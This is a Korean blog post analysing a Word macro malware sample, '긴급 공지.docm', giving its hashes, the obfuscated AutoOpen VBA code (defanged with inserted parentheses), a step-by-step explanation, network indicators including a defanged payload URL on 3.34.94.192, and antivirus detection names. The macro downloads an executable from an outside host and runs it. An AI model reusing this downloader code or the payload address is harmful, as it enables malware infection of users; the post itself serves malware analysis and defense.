꿈을꾸는 파랑새

오늘은 워드 매크로 악성코드인 긴급 공지.docm(2023.09.13)에 대해 글을 적어 보겠습니다. 해당 워드 악성코드는 매크로로 된 악성코드이면 오래간만에 매크로 된 악성코드를 분석하는 것 같습니다. 일단 docm 형식인 것을 보면 아마도 워드로 된 악성코드를 실행하고 생성된 파일이지 않을까 생각이 됩니다. 물론 이것은 사견입니다.
먼저 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명: 긴급 공지.docm
사이즈:60.2 KB
MD5:87a45adfcd1f9c84a2785823e785e84a
SHA-1:97b5bd767f3cea557ff3fa4f5e79b55c30e54c4d
SHA-256:94f2f4bb4c2a26394d1e23a8dd24cd603ed89d76ee2c73ab9506b71ecf88594b
언제나 매크로 악성코드 답게 보안 경고 매크로를 사용할 수 없도록 설정했습니다. 콘텐츠 사용
이라고 되어져 있고 해당 콘텐츠 사용을 실행하면 워드에 있는 매크로가 작동해서 악성코드들을 실행하면 이번 어설프게 그냥 그림 파일로 돼 있는 것을 확인할 수가 있습니다.

긴급 공지 매크로 악성코드 실행 화면
긴급 공지 매크로 악성코드 실행 화면

매크로 내용

Sub AutoOpen()
Dim kx0nd8x2 As String
    myURL = rpr0w3fm(Chr(10(5)) & Chr(1(1)7) (&) "u" (&) "q" & C(h)r(59) & "" & C(h)r(46) & "" (&) C(h)r(46) & "(2)" & "/" & "" & Chr(50) (&) Chr(53) (&) "" (&) "/" & Chr(56) (&) "(5)" & Chr(47) & "" & Chr(4(8)) & Chr(5(6)) & "" & Chr(51) & "" & Chr(46) & "" & Chr(1(1)8) & "(h)" & "" (&) "(o)" & "" & "(s)" & "" & Chr(9(6)) (&) Chr(1(1)5) (&) "" & C(h)r(4(7)) (&) Chr((1)00) & "" (&) Chr(12(1)) & "" & "d" & "")
    sFilename = Environ(rpr0w3fm(Chr(8)2) & "x" & Chr(1(1)4) (&) Chr(1(1)7) & "" (&) Chr(1(0)0) & Chr(1(0)8) & "" (&) "(E)" (&) "s" (&) "" & "h" & "w" & "" & "d" & "")) & Environ(rpr0w3fm(Chr(73) & "" & Chr((1)10) & Chr(1(0)8) & "" & "(d)" & "" & "(Q)" & "`" (&0 "" & "(u)" & "" (&)Ch(r)(105) & "")) & _
            Application(.)PathSeparator & rp(r00w3fm(Ch(r)(6(4)) & "" & "q" & "" & C(h)r(113) & "(E)" (&) "`" (&) "" (&) "u" (&) C(h)r((9)6) (&) "") (&) Application(.)PathSeparator & rpr0w3fm(Chr((7)7) & "(n)" (&) "" & "b" & "" & "`" & "" & "m" & "") & Application.PathSeparator & rpr0w3fm(Chr(85) & "(d)" & Chr(1(0)8) & "q") & Application.PathSeparator & _
            rpr0w3fm(Chr(1(1)8) (&) "h" & "" (&) Chr((1)11) & "" (&) Chr(1(1)5) & "" & "`" & "(s)" & "" & "(/)" & "(") & "(d)" & Chr(1(2)1) & Chr(1(0)0) & "")
    Dim t3axu(x)as As Object
    Set WinHttp(R)eq = CreateObject((r)pr0w3fm("L" (&) Chr((1)04) & "(b)" (&) "" (&) "(s)" (&) "(n)" (&) "(r)" (&) "" (&) "(n)" (&) "(g)" (&) "" (&) "(u)" (&) "" (&) "/" (&) Chr((8)9) (&) Chr((7)6) & "(M)" & C(h)r(73) & "(U)" & "(U)" & "" (&) Chr((8)1)))
    WinHttpReq(.)Open rpr0w3fm(Chr(70) & "(D)" & "" (&) "(U)" (&) ""), myURL, False  '
   WinHttpReq(.)Send
    m(y)URL = WinHttpReq(.)ResponseBody
    If WinHttpReq.Status = 200 Then
        Set oStr(e)am = CreateObje(c)t(rpr0w3fm("@" (&( C(h)r(6(9)) (&) Ch(r)((7)8) & C(h)r((6)9) & C(h)r((6)7) & "" & "(/)" & "" (&) "(R)" (&) "(u)" & "" (&) "(s)" (&) "(d)" (&) C(h)r(96) (&) "" (&) C(h)r(1(0)8))))
        oStream(.)Open
        oStream(.)Type = 1
        oStream(.)Write WinHttpReq(.)ResponseBody
        oStream(.)SaveToFile sFilename, 2
       oStream(.)Close
    End If
Shell (s(F)ilename)

End Sub

코드 설명

해당 코드는 VBA (Visual Basic for Applications)를 사용하여 Excel 매크로로 작성된 것으로 보이며 Auto Open() 서브루틴 내에 있음 해당 코드는 몇 가지 암호화된 문자열 및 함수 호출을 사용하여 웹에서 파일을 다운로드 하고 실행하는 것을 목표
1.myURL 변수 정의:
myURL 변수는 웹에서 다운로드할 파일의 URL을 저장
URL은 문자열 조합 및 변환 함수 (`rpr(0)w3fm()`, `Ch(r)()`, `E(n)viron()`)를 사용하여 생성
2.sFilename 변수 정의:
sFilename 변수는 로컬 시스템에서 저장될 파일의 경로와 이름을 나타냄
경로는 Environ() 함수 및 문자열 조합으로 생성
3. WinHttpReq 객체 생성:
WinHttpReq 변수는 WinHTTP 객체를 생성하여 웹에서 파일을 요청하고 응답을 받으려고 사용
4.WinHTTP를 사용하여 파일 다운로드:
WinHttpReq.Open 메서드를 사용하여 HTTP GET 요청을 수행하고 웹에서 파일을 다운로드
내려진 파일 내용은 WinHttpReq(.)ResponseBody에 저장
5.HTTP 응답 코드 확인:
다운로드가 성공적으로 수행되면 WinHttpReq.Status 가 200인 경우를 확인
00은 HTTP 성공 응답 코드로 파일 다운로드가 성공한 것을 나타냄
6. 로컬 파일로 저장:
CreateObject() 함수를 사용하여 파일 저장을 위한 oStream 객체를 생성
oStream 객체를 열고, 파일에 데이터를 사용
oStream.SaveToFile 메서드를 사용하여 다운로드한 데이터를 로컬 파일(sFilename)에 저장
7. 파일 실행:
Shell 함수를 사용하여 다운로드한 파일(sFilename )을 실행
코드의 주요 목적은 웹에서 파일을 다운로드하고 실행하는 것입니다.

긴급 공지 매크로 편집기 실행
긴급 공지 매크로 편집기 실행

악성코드 IP 주소

224.0.0(.)252:5355 (UDP)
255.255(.)255.255:67 (UDP)
3.34.94(.)192:80 (TCP)

악성코드 트래픽 요청 및 다운로드 파일

http://3.34.94(.)192/winrar(.)exe

바이러스토탈에서 탐지되는 보안 업체들(물론 증가할 수가 있음)
AhnLab-V3:VBA/Downloader.S72
Arcabit:HEUR.VBA.CG.1
Avast:Script:SNH-gen [Drp]
AVG:Script:SNH-gen [Drp]
Avira (no cloud):HEUR/Macro.Downloader
Baidu:VBA.Trojan.Agent.ee
BitDefender:VBA:Amphitryon.1765
Cynet:Malicious (score: 99)
Cyren:PP97M/Agent.AOX.gen!Eldorado
Elastic:Malicious (high Confidence)
Emsisoft:VBA:Amphitryon.1765 (B)
eScan:VBA:Amphitryon.1765
ESET-NOD32:VBA/Obfuscated.BN
F-Secure:Heuristic.HEUR/Macro.Downloader
Fortinet:VBA/Agent.7D1A!tr.dldr
GData:VBA:Amphitryon.1765
Google:Detected
Kaspersky:HEUR:Trojan-Downloader.Script.Generic
Lionic:Trojan.MSWord.Generic.4!c
MAX:Malware (ai Score=86)
Microsoft:TrojanDownloader:O97M/Powdow!MTB
NANO-Antivirus:Trojan.Script.Agent.ecnmvu
QuickHeal:O97M.Trojan.Agent.37468
Rising:Heur.Macro.Downloader.g (CLASSIC)
Sangfor Engine Zero:VBA.Sus.Obf
SentinelOne (Static ML):Static AI - Malicious OPENXML
Symantec:ISB.Downloader!gen60
Tencent:Heur.Macro.Generic.a.a0dd298
Trellix (FireEye):VBA:Amphitryon.1765
TrendMicro:HEUR_VBA.O2
VIPRE:VBA:Amphitryon.1765
ZoneAlarm by Check Point:HEUR:Trojan-Downloader.Script.Generic
결론
가장 기초적인 보안 수칙을 지키면 안전하게 사용을 할수가 있음

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band